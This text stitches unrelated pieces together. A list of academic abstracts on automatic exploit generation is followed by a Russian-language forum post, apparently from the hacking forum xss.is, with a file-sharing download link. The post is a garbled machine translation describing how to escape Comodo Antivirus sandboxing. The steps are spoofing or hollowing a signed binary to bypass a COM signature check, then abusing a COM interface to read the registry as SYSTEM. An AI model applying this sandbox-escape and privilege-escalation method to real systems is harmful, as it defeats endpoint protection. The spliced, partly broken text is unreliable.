Heap overflow is a common error of buffer overflow in Linux. The control flow of a program may be hijacked when the program satisfies several specific conditions. The existing automatic exploit generation technologies for buffer overflow find vulnerability trigger point and generate exploit by checking the control flow state. However, the heap overflow data rarely lead to a control flow hijacking as well as protection mechanisms limit the trigger condition. It is difficult to analyze the exploitability of heap overflow automatically through the existing analysis technology. For the heap overflow errors in Linux, we summarize the features of exploit on the basis of analyzing the instances, building the detection model of the exploitability of heap overflow, and proposing a method for analyzing the exploitability of heap overflow based on the model. The proposed method monitors the input data and insecurity functions of the program by using taint analysis; builds the path constraints and data constraints which satisfy the conditions of heap overflow exploit through selective symbolic execution; solves the abovementioned constraints and generates the test case automatically. All the steps of our method can be finished automatically by using the symbolic execution tool S2E. The experiments show that this method can automatically analyze and detect the exploitability of heap overflow errors.
Write Vulnerabilities
The monolithic nature of modern OS kernels leads to a constant stream of bugs being discovered. It is often unclear which of these bugs are worth fixing, as only a subset of them may be serious enough to lead to security takeovers (i.e., privilege escalations). Therefore, researchers have recently started to develop automated exploit generation techniques (for UAF bugs) to assist the bug triage process. In this paper, we investigate another top memory vulnerability in Linux kernel -- out-of-bounds (OOB) memory write from heap. We design KOOBE to assist the analysis of such vulnerabilities based on two observations: (1) Surprisingly often, different OOB vulnerability instances exhibit a wide range of capabilities. (2) Kernel exploits are multi- interaction in nature (i.e., multiple syscalls are involved in an exploit) which allows the exploit crafting process to be modular. Specifically, we focus on the extraction of capabilities of an OOB vulnerability which will feed the subsequent exploitability evaluation process. Our system builds on several building blocks, including a novel capability-guided fuzzing solution to uncover hidden capabilities, and a way to compose capabilities together to further enhance the likelihood of successful exploitations. In our evaluation, we demonstrate the applicability of KOOBE by exhaustively analyzing 17 most recent Linux kernel OOB vulnerabilities (where only 5 of them have publicly available exploits), for which KOOBE successfully generated candidate exploit strategies for 11 of them (including 5 that do not even have any CVEs assigned). Subsequently from these strategies, we are able to construct fully working exploits for all of them.
Interaction
To evaluate heap security, researchers have designed evaluation tools that automatically locate heap vulnerabilities. Most of these tools define heap interactions as heap misuses that are bugs, such as overflow in a target heap allocator, and verify whether each combination of heap interactions can be used as an exploit. However, this definition of heap interactions requires preliminary work by a user possessing evaluation tools and specialized knowledge—the user needs to manually do much work to find which heap misuses exist in the target heap allocator. In addition, because the existing heap misuses vary according to target heap allocators and versions, this preliminary work must be performed on each heap implementation. That is, the current definition of heap interaction cannot be generalized to all heap implementations. In this paper, we propose a novel heap security evaluation model, called Heap Security Pilot (HS-Pilot), to overcome the preliminary work load and the dependency of heap misuse in heap implementation. In HSPilot, a heap interaction is newly defined as the modification of heap metadata, based on the idea that any heap misuse can be represented by a sequence of heap metadata, i.e. combination of heap interactions used by HS-Pilot. Consequently, the heap interactions in HS-Pilot can be applied to all heap implementations without specialized knowledge, and therefore, are more general than that in existing heap evaluation tools. Our evaluation shows that HS- Pilot can cover the analysis range of other evaluation tools, and is able to detect 14 known types of heap exploitation against heap allocator ptmalloc and all types of heap exploitation found by a state-of-the-art evaluation tool.
Automatic exploit generation for heap vulnerabilities is an open challenge. Current studies require a sensitive pointer on the heap to hijack the control flow and pay little attention to vulnerabilities with limited capabilities. In this paper, we propose HAEPG, an automatic exploit framework that can utilize known exploitation techniques to guide exploit generation. We implemented a prototype of HAEPG based on the symbolic execution engine S2E and provided four exploitation techniques for it as prior knowledge. HAEPG takes crashing inputs, programs, and prior knowledge as input, and generates exploits for vulnerabilities with limited capabilities by abusing heap allocator’s internal functionalities. We evaluated HAEPG with 24 CTF programs, and the results show that HAEPG is able to accurately reason about the type of vulnerability for 21 (87.5%) of them, and generate exploits that spawn a shell for 16 (66.7%) of them. All the exploits could bypass NX and Full RELRO security mechanisms.
Virtual Machine
Automatic exploit generation (AEG) is the challenge of determining the exploitability of a given vulnerability by exploring all possible execution paths that can result from triggering the vulnerability. Since typical AEG implementations might need to explore an unbounded number of execution paths, they usually utilize a fuzz tester and a symbolic execution tool to facilitate this task. However, in the case of language virtual machines, such as the ActionScript Virtual Machine (AVM), AEG implementations cannot leverage fuzz testers or symbolic execution tools for generating the exploit script, because of two reasons: (1) fuzz testers cannot efficiently generate grammatically correct executables for the AVM due to the improbability of randomly generating highly-structured executables that follow the complex grammar rules and (2) symbolic execution tools encounter the well-known program-state- explosion problem due to the enormous number of control paths in early processing stages of a language virtual machine (e.g., lexing and parsing). This paper presents GuidExp, a guided (semi-automatic) exploit generation tool for AVM vulnerabilities. GuidExp synthesizes an exploit script that exploits a given ActionScript vulnerability. Unlike other AEG implementations, GuidExp leverages exploit deconstruction, a technique of splitting the exploit script into many smaller code snippets. GuidExp receives hints from security experts and uses them to determine places where the exploit script can be split. Thus, GuidExp can concentrate on synthesizing these smaller code snippets in sequence to obtain the exploit script instead of synthesizing the entire exploit script at once. GuidExp does not rely on fuzz testers or symbolic execution tools. Instead, GuidExp performs exhaustive search adopting four optimization techniques to facilitate the AEG process: (1) exploit deconstruction, (2) operand stack verification, (3) instruction tiling, and (4) feedback from the AVM. A running example highlights how GuidExp synthesizes the exploit script for a real-world AVM use-after-free vulnerability. In addition, GuidExp’s successful generation of exploits for ten other AVM vulnerabilities is reported.
This paper provides a survey of methods and tools for automated code-reuse exploit generation. Such exploits use code that is already contained in a vulnerable program. The code-reuse approach allows one to exploit vulnerabilities in the presence of operating system protection that prohibits data memory execution. This paper contains a description of various code-reuse methods: return-to-libc attack, return-oriented programming, jump-oriented programming, and others. We define fundamental terms: gadget, gadget frame, gadget catalog. Moreover, we show that, in fact, a gadget is an instruction, and a set of gadgets defines a virtual machine. We can reduce an exploit creation problem to code generation for this virtual machine. Each particular executable file defines a virtual machine instruction set. We provide a survey of methods for gadgets searching and determining their semantics (creating a gadget catalog). These methods allow one to get the virtual machine instruction set. If a set of gadgets is Turing-complete, then a compiler can use a gadget catalog as a target architecture. However, some instructions can be absent. Hence we discuss several approaches to replace missing instructions with multiple gadgets. An exploit generation tool can chain gadgets by pattern searching (regular expressions) or considering gadgets semantics. Furthermore, some chaining methods use genetic algorithms, while others use SMT-solvers. We compare existing open-source tools and propose a testing system rop-benchmark that can be used to verify whether a generated chain successfully opens a shell.
of Security Vulnerabilities
The existence of a security vulnerability in a system does not necessarily mean that it can be exploited. In this research, we introduce Autosploit —an automated framework for evaluating the exploitability of vulnerabilities. Given a vulnerable environment and relevant exploits, Autosploit will automatically test the exploits on different configurations of the environment in order to identify the specific properties necessary for successful exploitation of the existing vulnerabilities. Since testing all possible system configurations is infeasible, we introduce an efficient approach for testing and searching through all possible configurations of the environment. The efficient testing process implemented by Autosploit is based on two algorithms: generalized binary splitting and Barinel, which are used for noiseless and noisy environments respectively. We implemented the proposed framework and evaluated it using real vulnerabilities. The results show that Autosploit is able to automatically identify the system properties that affect the ability to exploit a vulnerability in both noiseless and noisy environments. These important results can be utilized for more accurate and effective risk assessment.
Primitives
Exploitation techniques to abuse the metadata of heap allocators have been widely studied because of their generality (i.e., application independent) and powerful capability (i.e., bypassing mitigation). However, such techniques are commonly considered arts, and thus the approaches to discover them remain ad- hoc, manual, and allocator-specific at best. In this paper, we present an automatic tool, ARCHEAP, to systematically discover the unexplored heap exploitation primitives, regardless of their underlying implementations. The key idea of ARCHEAP is to let the computer autonomously explore the spaces, similar in concept to fuzzing, by specifying a set of common designs of modern heap allocators and root causes of vulnerabilities as models, and by providing heap operations and attack capabilities as actions. During the exploration, ARCHEAP checks whether the combinations of these actions can be potentially used to construct exploitation primitives, such as arbitrary write or overlapped chunks. As a proof, ARCHEAP generates working PoC that demonstrates the discovered exploitation technique. We evaluated ARCHEAP with three real- world allocators (i.e., ptmalloc, tcmalloc, and jemalloc), as well as custom allocators from the DARPA Cyber Grand Challenge. As a result, ARCHEAP discovered five previously unknown exploitation primitives in ptmalloc and found several exploitation techniques against jemalloc, tcmalloc, and even custom heap allocators. To show the effectiveness of ARCHEAP’s approach in other domains, we also studied how security features evolve and which exploit primitives are effective across different versions of ptmalloc.
Contracts
Smart contracts, programs running on blockchain systems, leverage diverse decentralized applications (DApps). Unfortunately, well-known smart contract platforms, Ethereum for example, face serious security problems. Exploits to contracts may cause enormous financial losses, which emphasize the importance of smart contract testing. However, current exploit generation tools have difficulty to solve hard constraints in execution paths and cannot simulate the blockchain behaviors very well. These problems cause a loss of coverage and accuracy of exploit generation. To overcome the problems, we design and implement ETHPLOIT, a smart contract exploit generator based on fuzzing. ETHPLOIT adopts static taint analysis to generate exploittargeted transaction sequences, a dynamic seed strategy to pass hard constraints and an instrumented Ethereum Virtual Machine to simulate blockchain behaviors. We evaluate ETHPLOIT on 45,308 smart contracts and discovered 554 exploitable contracts. ETHPLOIT automatically generated 644 exploits without any false positive and 306 of them cannot be generated by previous exploit generation tools.
Framework for Vulnerability Discovery and Exploit Generation
Android Application Framework is an integral and foundational part of the Android system. Each of the two billion (as of 2017) Android devices relies on the system services of Android Framework to manage applications and system resources. Given its critical role, a vulnerability in the framework can be exploited to launch large-scale cyber attacks and cause severe harms to user security and privacy. Recently, many vulnerabilities in Android Framework were exposed, showing that it is indeed vulnerable and exploitable. While there is a large body of studies on Android application analysis, research on Android Framework analysis is very limited. In particular, to our knowledge, there is no prior work that investigates how to enable symbolic execution of the framework, an approach that has proven to be very powerful for vulnerability discovery and exploit generation. We design and build the first system, CENTAUR, that enables symbolic execution of Android Framework. Due to the middleware nature and technical peculiarities of the framework that impinge on the analysis, many unique challenges arise and are addressed in CENTAUR. The system has been applied to discovering new vulnerability instances, which can be exploited by recently uncovered attacks against the framework, and to generating PoC exploits.
Given the huge success of automated software testing techniques, a large amount of crashes is found in practice. Identifying the root cause of a crash is a time-intensive endeavor, causing a disproportion between finding a crash and fixing the underlying software fault. To address this problem, various approaches have been proposed that rely on techniques such as reverse execution and backward taint analysis. Still, these techniques are either limited to certain fault types or provide an analyst with assembly instructions, but no context information or explanation of the underlying fault. In this paper, we propose an automated analysis approach that does not only identify the root cause of a given crashing input for a binary executable, but also provides the analyst with context information on the erroneous behavior that characterizes crashing inputs. Starting with a single crashing input, we generate a diverse set of similar inputs that either also crash the program or induce benign behavior. We then trace the program’s states while executing each found input and generate predicates, i. e., simple Boolean expressions that capture behavioral differences between crashing and noncrashing inputs. A statistical analysis of all predicates allows us to identify the predicate pinpointing the root cause, thereby not only revealing the location of the root cause, but also providing an analyst with an explanation of the misbehavior a crash exhibits at this location. We implement our approach in a tool called AURORA and evaluate it on 25 diverse software faults. Our evaluation shows that AURORA is able to uncover root causes even for complex bugs. For example, it succeeded in cases where many millions of instructions were executed between developer fix and crashing location. In contrast to existing approaches, AURORA is also able to handle bugs with no data dependency between root cause and crash, such as type confusion bugs.
Discovery
Automatically generating exploits for attacks receives much attention in security testing and auditing. However, little is known about the continuous effect of automatic attack generation and detection. In this paper, we develop an analytic model to understand the cost-benefit tradeoffs in light of the process of vulnerability discovery. We develop a three-phased model, suggesting that the cumulative malware detection has a productive period before the rate of gain flattens. As the detection mechanisms co-evolve, the gain will likely increase. We evaluate our analytic model by using an anti- virus tool to detect the thousands of Trojans automatically created. The anti- virus scanning results over five months show the validity of the model and point out future research directions.
of Metadata Corruption Vulnerabilities
In recent years, increased attention is being given to software quality assurance and protection. With considerable verification and protection schemes proposed and deployed, today’s software unfortunately still fails to be protected from cyberattacks, especially in the presence of insecure organization of heap metadata. In this paper, we aim to explore whether heap metadata could be corrupted and exploited by cyberattackers, in an attempt to assess the exploitability of vulnerabilities and ensure software quality. To this end, we propose RELAY, a software testing framework to simulate human exploitation behavior for metadata corruption at the machine level. RELAY employs the heap layout serialization method to construct exploit patterns from human expertise and decomposes complex exploit-solving problems into a series of intermediate state-solving subproblems. With the heap layout procedural method, RELAY makes use of the fewer resources consumed to solve a layout problem according to the exploit pattern, activates the intermediate state, and generates the final exploit. Additionally, RELAY can be easily extended and can continuously assimilate human knowledge to enhance its ability for exploitability evaluation. Using 20 CTF&RHG programs, we then demonstrate that RELAY has the ability to evaluate the exploitability of metadata corruption vulnerabilities and works more efficiently compared with other state-of-the-art automated tools.
Validation
In this article, we present Coppelia, an end-to-end exploit generation tool for use during the security validation of hardware designs. We evaluate Coppelia on three reduced instruction set computer (RISC) processors of different architectures. Coppelia is able to find and generate exploits for 29 of 31 known vulnerabilities in these processors and finds four new vulnerabilities along with exploits in these processors.
Vulnerability detection and exploitation serves as a milestone for secure development and identifying major threats in software applications. Automated exploit generation helps in easier identification of bugs, the attack vectors and the various possibilities of generation of the exploit payload. Thus, we introduce AngErza which uses dynamic and symbolic execution to identify hot- spots in the code, formulate constraints and generate a payload based on those constraints. Our tool is entirely based on angr which is an open-sourced offensive binary analysis framework. The work around AngErza focuses on exploit and vulnerability detection in CTF-style C binaries compiled on 64-bit Intel architecture for the early-phase of this project.
This paper proposes a framework for automatic exploit generation in JIT compilers, focusing in particular on heap corruption vulnerabilities triggered by dynamic code, i.e., code generated at runtime by the JIT compiler. The purpose is to help assess the severity of vulnerabilities and thereby assist with vulnerability triage. The framework consists of two components: the first extracts high-level representations of exploitation primitives from existing exploits, and the second uses the primitives so extracted to construct exploits for new bugs. We are currently building a prototype implementation of the framework focusing on JavaScript JIT compilers. To the best of our knowledge, this is the first proposal to consider automatic exploit generation for code generated dynamically by JIT compilers.
A large number of memory corruption vulnerabilities, e.g., heap overflow and use after free (UAF), could only be exploited in specific heap layouts via techniques like heap feng shui. To pave the way for automated exploit generation (AEG), automated heap layout manipulation is demanded. In this paper, we present a novel solution MAZE to manipulate proof-of-concept (POC) samples’ heap layouts. It first identifies heap layout primitives (i.e., input fragments or code snippets) available for users to manipulate the heap. Then, it applies a novel Dig & Fill algorithm, which models the problem as a Linear Diophantine Equation and solves it deterministically, to infer a primitive operation sequence that is able to generate target heap layout. We implemented a prototype of MAZE based on the analysis engine S2E, and evaluated it on the PHP, Python and Perl interpreters and a set of CTF (capture the flag) programs, as well as a large micro-benchmark. Results showed that MAZE could generate expected heap layouts for over 90% of them.
Докумантацию скачать можно тут
![send.exploit.in](/proxy.php?image=https%3A%2F%2Fsend.exploit.in%2Fsend- fb.358d4b57.jpg&hash=824ffe54bac782fbc1c2b7f04639d4b7&return_error=1)
](https://send.exploit.in/download/237e1e6146612eef/#onojTnYjUuH90JKlRvcHSg)
Encrypt and send files with a link that automatically expires to ensure your important documents don’t stay online forever.
send.exploit.in
Автор: weaver
Материал подготовлен специльно для xss.is (c)
Антивирус (AV) - отличная цель для поиска уязвимостей: большая поверхность для различных видов атак, сложный анализ и различные компоненты, выполняющиеся с высокими привилегиями. Итак, пару месяцев назад я решил посмотреть последнюю версию Comodo Antivirus v12.0.0.6810. В итоге я нашел несколько классных вещей, которые, как мне показалось, стоило осветить здесь, - это побег из песочницы, а также повышение привилегий в SYSTEM. В этой статье мы будем злоупотреблять различными COM-объектами, обходя двоичные проверки подписи и угоняя сервисы. Я думаю, вы найдете это интересным, так что давайте начнем.
Comodo Sandboxing Primer
Во-первых, я хотел бы дать учебник по технологии песочницы Comodo, которую
Comodo называет «сдерживание», в этой статье я буду использовать
взаимозаменяемость «песочница» / «сдерживание». Эта технология ограничивает
выполнение ненадежных приложений (
[RTATC](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://containment.comodo.com/how-
it-works/) ) в среде, подобной песочнице, наряду с другими запущенными
процессами в ОС. Он оснащен гибридом хуков пользовательского режима вместе с
драйвером режима ядра, предотвращая любые изменения файлов или реестра на
компьютере. Чтение файлов и реестра разрешено, но как только происходит
запись, файловый ввод-вывод перенаправляется в файловую систему песочницы, а
последующие чтения затем считываются из этой изолированной файловой системы,
чтобы создать иллюзию того, что процесс взаимодействует с файловой системой.
Comodo выполняет это через свой драйвер фильтра Cmdguard.sys, который регистрирует [_FLT_REGISTRATION](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows-hardware/drivers/ddi/content/fltkernel/ns-fltkernel- _flt_registration) структуру с помощью [FltRegisterFilter](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows-hardware/drivers/ddi/content/fltkernel/nf-fltkernel- fltregisterfilter) API. Эта структура содержит процедуры обратного вызова для различных [IRP](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows-hardware/drivers/gettingstarted/i-o-request-packets), полученных из приложений пользовательского режима, такие как [доступ к файлам](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows-hardware/drivers/kernel/irp-mj-create), [файл письмо](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows-hardware/drivers/kernel/irp-mj-write) и т.д., и может перехватить соответствующий образ. Также стоит отметить, что ALPC (тип Microsoft IPC, используемый для многих компонентов ОС) также является изолированной программной средой, которая перенаправляет попытки подключений ALPC к «изолированным» экземплярам svchost.exe, предотвращая выход из изолированной программной среды через RPC / ALPC. Ниже приведена иллюстрация того, как работает эта технология сдерживания.
Рисунок 1 - Иллюстрация с обратной технологией содержания Comodo
Cmdguard.sys не только фильтрует файловый ввод / вывод реестра, но также отслеживает запущенные процессы, регистрируя [CREATE_PROCESS_NOTIFY_ROUTINE](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows-hardware/drivers/ddi/content/ntddk/nc-ntddk- pcreate_process_notify_routine) (используя [PsSetCreateProcessNotifyRoutine](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk- pssetcreateprocessnotifyroutine) ). По мере выполнения процесса, состояние защиты, уровень доверия и другие соответствующие атрибуты Comodo отслеживаются в списке процессов, хранящихся в ядре. Cmdguard.sys предоставляет «порты фильтра», с которыми могут взаимодействовать компоненты Comodo. Состояние "ограничения" устанавливается путем отправки определенного сообщения в его порт фильтра с именем «cmdAuthPort ». Целевой процесс, указанный в сообщении, имеет флаг «сдерживания», установленный драйвером режима ядра.
Guard64.dll (который внедряется практически в каждый запущенный процесс) отвечает за отправку этих сообщений об ограничениях из пользовательского режима после создания отдельного процесса. Например, Guard64.dll будет перехватывать API CreateProcessInternalW от Explorer.exe, так что когда пользователь выполняет ненадежный процесс, ловушка отправляет сообщение «сдерживание» в порт фильтра Cmdguard.sys. Теперь, когда запускается ненадежный процесс, он считается «содержащимся» драйвером и предотвращает ввод/вывод файла/реестра. Кроме того, Cmdguard.sys будет впрыскивать Guard64.dll в процессе, в замкнутых системах, которые будут выполнять агрессивное "сцепление".
Рисунок 2 - Процедура инъекции dll Cmdguard.sys
Ниже мы видим только несколько хуков пользовательского режима, которые установит Guard64.dll.
Рисунок 3 - Guard64.dll Usermode Hooks
Общая роль, которую играют эти ловушки, - это предотвращение подключения отдельных процессов к существующим защищаемым объектам, созданным автономными процессами. Для этого он добавит тег «!Comodo_6 » к каждому имени объекта, созданному или открытому отдельным процессом, предотвращая столкновение имен (или соединение) с существующими защищаемыми объектами в ОС.
Фактически, именно так работает его защитная оболочка RPC / ALPC! Трафик RPC / ALPC перенаправляется на содержащиеся экземпляры Svchost.exe (видно на первой диаграмме выше). Это связано с тем, что «!Comodo_6 » добавляется к именам портов, к которым пытались подключиться процессы, и содержащиеся экземпляры Svchost.exe создавали имена портов с « !Comodo_6 », добавленными к ним, поскольку они сами содержатся. Здесь мы видим, что отдельный установщик MSI пытается запустить его и в конечном итоге создает компонент службы MSIexec.exe, находящийся в песочнице, созданный (в cmdvirth.exe) после выполнения вызовов RPC.
Рисунок 4 - Содержит порождения ALPC, содержащиеся в экземпляре MSIExec
Обход этих хуков пользовательского режима тривиален, но избежать выхода из него непросто. Например, было невозможно просто пропатчить связанные с ALPC хуки и выйти через WMI, так как они также отслеживались и блокировались CmdAgent.exe. Теперь, когда я представил небольшой учебник по сдерживанию Comodo, давайте рассмотрим, как мы можем добиться побега и эксплуатации.
Создание Comodo COM-клиента
Comodo использует множество механизмов IPC между различными AV-компонентами:
портами фильтра, общей памятью, LPC и COM. COM - это то, на чем мы
сосредоточимся здесь. Хороший учебник для COM можно найти
[здесь](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en-
us/windows/desktop/com/the-component-object-model), но вкратце он обозначает
«Компонентная объектная модель» и представляет собой технологию Microsoft,
позволяющую различным модулям создавать и взаимодействовать с различными
объектами, определенными COM-сервером. COM-серверы могут быть локальными
(просто dll COM-сервера, загруженного в текущий процесс) или удаленными, COM-
сервер работает как удаленный процесс и взаимодействует через ALPC. С точки
зрения эксплуатации, удаленный предоставляет гораздо более интересный
сценарий.
Мы случайно узнали, что Comodo имеет возможность вызывать задания сканирования из процессов с низким уровнем привилегий, таких как explorer.exe (с помощью Context Shell Handler - (меню, которое появляется, когда пользователь щелкает правой кнопкой мыши)) или Cis.exe (графический интерфейс клиента Comodo). Эти задания сканирования выполняются путем вызова подпрограмм в CAVWP.exe, который запускается как SYSTEM.
Если мы сможем понять, как подключиться к этому сервису, то, возможно, мы сможем открыть для себя новую поверхность атаки и найдем даже более интересные функции, чем просто «сканирование». Это удаленное взаимодействие с CAVWP.exe происходит через COM, так как CAVWP.exe является COM-сервером вне процесса, как мы видим в реестре.
Рисунок 5 - CAVWP.exe COM-сервер
Давайте посмотрим, как Explorer.exe и COM-клиент Comodo удаленно запускают эти «сканирования» через COM. Как я упоминал ранее, одним из клиентов с низким уровнем привилегий, который может инициировать это сканирование, является обработчик контекстного меню оболочки Explorer.exe, который регистрирует Comodo - CavShell.dll
Рисунок 6 - Обработчик контекстного меню Comodo в Explorer.exe
Перевернув обработчик расширения оболочки, я обнаружил, где реализована COM- процедура «сканирования» клиента. Понимание этой функции даст нам ключи к тому, как успешно спроектировать наш собственный COM-клиент.
Рисунок 7 - Процедура сканирования файла Cavshell.dll (обработчик
контекстного меню)
Этот конкретный вызов CoGetClassObject интересен. CoGetClassObject возвращает указатель на интерфейс для объекта, связанного с предоставленным CLSID. Просматривая CLSID в реестре, мы видим, что он предназначен для «Cis Gate Class», и вскоре понимаем, что CAVavWp.exe не имеет ничего общего с этим классом, и фактическим COM-сервером для этого класса является CmdAgent.exe.
Рисунок 8 - CLSID (CLSID_CisGate) показывает, что COM-сервером является
Cmdagent.exe
Оказывается, CmdAgent действует как прокси между этими COM-клиентами с низким уровнем привилегий и CavWp, поскольку CavWp будет сканировать от имени вашего запроса к CmdAgent через интерфейс CisGate. Имейте в виду, моя главная цель здесь - просто настроить и понять эти начальные привязки, чтобы у нас была больше поверхность атаки.
После обратного инжиниринга клиента (а также небольшого количества самого CmdAgent) мы портируем COM-заглушки с соответствующими смещениями методов и реинжиниринг нашего кода, чтобы имитировать, что эти COM-клиенты делали и выполняли.
Рисунок 9 - Реорганизация «поддельного» Comodo COM-клиента
Одна проблема: подписание кода
Но запустить этот код не удается при вызове «CreateInstance» в
CisClassFactory, так как он возвращает E_ACCESSDENIED . Это странно, поскольку
у нас есть те же привилегии процесса, что и у Explorer.exe и Cis.exe (которые
могут обойтись без таких вызовов). Почему мы не можем?
Здесь у нас есть CmdAgent.exe в отладчике, мы сломали там, где он получает вызов «CreateInstance», который мы сделали, и видим, что он разветвляется в специальное сообщение E_ACCESS_DENIED.
Рисунок 10 - Cmdagent.exe блокирует неподписанные процессы, взаимодействующие
через COM
Это означает, что не Windows сообщает ACCESS_DENIED, а сама Comodo по собственному решению.
Это конкретное «решение» основано на проверке подписи, которая проверяет, что COM-клиент, запрашивающий экземпляр, является доверенным «подписанным» двоичным файлом. Глядя на подпрограмму проверки подписи в Cmdagent.exe, выяснилось, что подписавшими могут быть либо Comodo, либо Microsoft, и это имеет смысл, так как Explorer.exe или Cis.exe являются единственными ожидаемыми клиентами, которые должны вызывать COM-методы в CmdAgent. EXE.
Рисунок 11. Классы проверки подписи Cmdagent.exe (HardMicrosoftSigner /
HardComodoSigner)
Проверка подписи была просто обойдена, однако ... подождите ... посмотрим, сможете ли вы увидеть проблему. Вот CmdAgent.exe, разрешающий имя процесса COM-клиента для последующей проверки подписи с диска:
Рисунок 12 - Cmdagent.exe Поиск полного имени COM-клиента
Как вы, возможно, знаете, [GetModuleFileNameEx](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows/desktop/api/psapi/nf-psapi-getmodulefilenameexa) просто запрашивает у целевого процесса ' [PEB-](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en- us/windows/desktop/api/winternl/ns-winternl-_peb) > Ldr-> InMemoryOrderModuleList для полного имени изображения. Это находится под нашим контролем, конечно, и может быть легко изменено в рамках нашего собственного процесса.
Альтернативное решение этой проблемы заключается в том, чтобы вводить доверенный двоичный файл Microsoft или Comodo и отправлять оттуда наши COM- запросы. Comodo, тем не менее, предотвращает внедрение DLL, поэтому для того, чтобы осуществить это, мы должны обработать полый доверенный двоичный файл Comodo.
Это более громоздкий маршрут, чем манипулирование нашим собственным PEB, но он дал нам большие преимущества. Одним из них является то, что драйвер Cmdguard.sys НЕ будет внедрять Guard64.dll , который нас раздражает. Ниже показан Cmdguard.sys и как он вызывает процедуру «InjectDll», только если процесс считается «ненадежным». «IsProcessUntrusted» пройдет, если мы опустошим C:\Program Files\COMODO\COMODOInternet Security\CmdVirth.exe, например, потому что драйвер доверяет в соответствии с исполняемым путем, который мы имитируем, когда мы опускаем такой доверенный процесс.
Рисунок 13 - Cmdguard.sys пропускает инъекцию Guard64.dll, если процесс
является «доверенным»
Теперь мы добавляем подпрограмму обработки процесса, которая выделяет экземпляр « C:\Program Files\COMODO\COMODOInternet Security\CmdVirth.exe» (подписанный Comodo) и заменяем исполняемый код нашим собственным. Этот внедренный код теперь будет выполнять те же процедуры COM, что и раньше, за исключением того, что теперь он пройдет проверку подписи, а также не имеет хуков. Мы повторно запустили код и успешно запустили задание на сканирование с нашим низким уровнем привилегий и состоянием!
Рисунок 14 - Ура! Мы успешно запустили сканирование с нашего нестандартного
COM-клиента
Охота на злоупотребляющие COM-интерфейсы
Работая со сканированием (из отдельного процесса), мы можем теперь искать
более интересные COM-интерфейсы для атаки CmdAgent. Глядя на другие ~ 60
методов для интерфейса CisGate, которые мы получили, они, честно говоря, не
выглядели слишком интересными, и те, справедливо использовали
[CoImpersonateClient,](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en-
us/windows/win32/api/combaseapi/nf-combaseapi-coimpersonateclient) который
предотвращает логические ошибки, к которым я стремился. Помните, как мы
используем CreateInstance для создания объекта CisGate в CmdAgent.exe?
Вероятно, мы можем создать больше объектов, каждый из которых имеет больше
методов для атаки. Вернуться к CmdAgent! [
](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en-
us/windows/win32/api/combaseapi/nf-combaseapi-coimpersonateclient)
Функция ICisClassFactory-> CreateInstance создает требуемый объект и
возвращает запрошенный указатель интерфейса для него, заключая вызов CisGate->
QueryInterface. Для тех, кто не знает,
[QueryInterface](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en-
us/windows/desktop/api/unknwn/nf-unknwn-iunknown-
queryinterface(refiid_void)) является базовой функцией в IUnknown, базовом
классе, от которого наследуются все COM-классы. Вкратце, эта функция разрешает
[riid](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en-
us/windows/desktop/learnwin32/asking-an-object-for-an-interface)
(идентификатор интерфейса) для интерфейса объекта, чтобы клиент (такой как мы)
мог вызывать методы для него. Обладая этими знаниями, мы м
ункцию QueryInterface CmdAgent.exe и наблюдая за ее поддерживаемыми
интерфейсами. [
](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en-
us/windows/desktop/learnwin32/asking-an-object-for-an-interface)
Рисунок 15 - Поддерживаемые интерфейсы CmdAgent.exe
Мы определили список поддерживаемых_интерфейсов, которые поддерживает их QueryInterface, и назвали каждый GUID, найденный в нашем реестре. RID IID_ICisFacade - это тот, который используется для возврата объекта CisGate. Был там - сделал это. Следующим интересным является IID_IServiceProvider. Читая о [IID_IServiceProvider](https://msdn.microsoft.com/en- us/ie/cc678965(v=vs.94)), он звучал так, как будто он может привести к разным интересным вещам. Ища GUID IID_IServiceProvider в Cis.exe (клиент Comodo GUI), мы обнаруживаем, что он используется. Если можно поменять местами путем конструирования, это даст нам хорошее представление о том, как использовать его самостоятельно, какие услуги они пытаются получить и для чего делают.
Реестр
Вот Cis.exe и как я нашел его, используя «IServiceProvider» для
[QueryService](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.microsoft.com/en-
us/windows/desktop/winauto/using-queryservice-to-expose-a-native-object-model-
interface-for-an-iaccessible-object) . Он использует его для получения
заданного в Comodo объекта «SvcRegistryAccess».
Рисунок 16 - Cis.exe Получение ISvcRegistryAccess
Конкретное использование в Cis.exe показало, что он получает объект SvcRegistryAccess от CmdAgent.exe, а затем вызывает для него метод для чтения ключа реестра и отправки данных обратно. Наличие для вас процесса SYSTEM чтения реестра для вас уже звучит как интересный вектор атаки , но у меня также было предчувствие, что разработчики не просто сделали этот SvcRegistryAccess классом «только для получения». Вернитесь к CmdAgent, чтобы увидеть, как реализован этот класс COM.
В CmdAgent мы видим, что метод ISvcRegistryAccess, который они вызывали удаленно, напрямую считывает значение reg и возвращает данные клиенту без CoImpersinateClient . Потрясающие! это означает, что мы можем читать значения реестра как SYSTEM, так как это уровень привилегий, в котором работает CmdAgent.
